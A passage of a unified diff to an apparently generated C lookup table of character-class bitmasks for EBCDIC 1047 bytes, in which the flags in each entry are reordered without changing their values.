(1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xEE U+D3 I8=F9 O with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xEF U+D5 I8=FA O with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xEB U+D4 I8=F6 O with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xEC U+D6 I8=F7 O with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xED U+D2 I8=F8 O with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xEE U+D3 I8=F9 O with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xEF U+D5 I8=FA O with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), /* 0xF0 U+30 '0' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), /* 0xF1 U+31 '1' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), /* 0xF2 U+32 '2' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), @@ -522,10 +522,10 @@ /* 0xF8 U+38 '8' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), /* 0xF9 U+39 '9' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), /* 0xFA U+B3 I8=FB SUPERSCRIPT 3 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xFB U+DB I8=FC U with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xFC U+DC I8=FD U with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xFD U+D9 I8=FE U with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xFE U+DA I8=FF U with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xFB U+DB I8=FC U with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xFC U+DC I8=FD U with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xFD U+D9 I8=FE U with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xFE U+DA I8=FF U with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), /* 0xFF U+9F APC */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA) #endif /* EBCDIC 1047 */ @@ -539,15 +539,15 @@ /* U+02 STX */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+03 ETX */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x04 U+9C ST */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* 0x05 U+09 HT */ (1U<<_CC_ASCII)|(1U<<_CC_BLANK)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE), +/* 0x05 U+09 HT */ (1U<<_CC_ASCII)|(1U<<_CC_BLANK)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x06 U+86 SSA */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x07 U+7F DEL */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x08 U+97 EPA */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x09 U+8D RI */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x0A U+8E SS2 */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+0B VT */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), -/* U+0C FF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), -/* U+0D CR */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), +/* U+0C FF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), +/* U+0D CR */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), /* U+0E SO */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+0F SI */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+10 DLE */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -556,7 +556,7 @@ /* U+13 DC3 */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x14 U+9D OSC */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x15 U+85 NEL */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), -/* 0x16 U+08 BS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), +/* 0x16 U+08 BS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x17 U+87 ESA */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+18 CAN */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+19 EOM */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -571,9 +571,9 @@ /* 0x22 U+82 BPH */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x23 U+83 NBH */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x24 U+84 IND */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* 0x25 U+0A LF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), +/* 0x25 U+0A LF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x26 U+17 ETB */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* 0x27 U+1B ESC */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), +/* 0x27 U+1B ESC */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x28 U+88 HTS */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x29 U+89 HTJ */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x2A U+8A VTS */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -581,7 +581,7 @@ /* 0x2C U+8C PLU */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x2D U+05 ENQ */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x2E U+06 ACK */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* 0x2F U+07 BEL */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), +/* 0x2F U+07 BEL */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x30 U+90 DCS */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x31 U+91 PU1 */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x32 U+16 SYN */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -600,14 +600,14 @@ /* 0x3F U+1A SUB */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x40 U+20 SP */ (1U<<_CC_ASCII)|(1U<<_CC_BLANK)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE), /* 0x41 U+A0 NBSP */ (1U<<_CC_BLANK)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x42 U+E2 I8=A1 a with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x43 U+E4 I8=A2 a with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x44 U+E0 I8=A3 a with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x45 U+E1 I8=A4 a with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x46 U+E3 I8=A5 a with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x47 U+E5 I8=A6 a with ring */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x48 U+E7 I8=A7 c with cedilla */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x49 U+F1 I8=A8 n with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x42 U+E2 I8=A1 a with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x43 U+E4 I8=A2 a with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x44 U+E0 I8=A3 a with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x45 U+E1 I8=A4 a with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x46 U+E3 I8=A5 a with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x47 U+E5 I8=A6 a with ring */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x48 U+E7 I8=A7 c with cedilla */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x49 U+F1 I8=A8 n with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x4A U+A2 I8=A9 CENT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x4B U+2E '.' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x4C U+3C '<' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), @@ -615,15 +615,15 @@ /* 0x4E U+2B '+' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x4F U+7C '|' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x50 U+26 '&' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0x51 U+E9 I8=AA e with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x52 U+EA I8=AB e with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x53 U+EB I8=AC e with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x54 U+E8 I8=AD e with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x55 U+ED I8=AE i with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x56 U+EE I8=AF i with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x57 U+EF I8=B0 i with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x58 U+EC I8=B1 i with grave */ 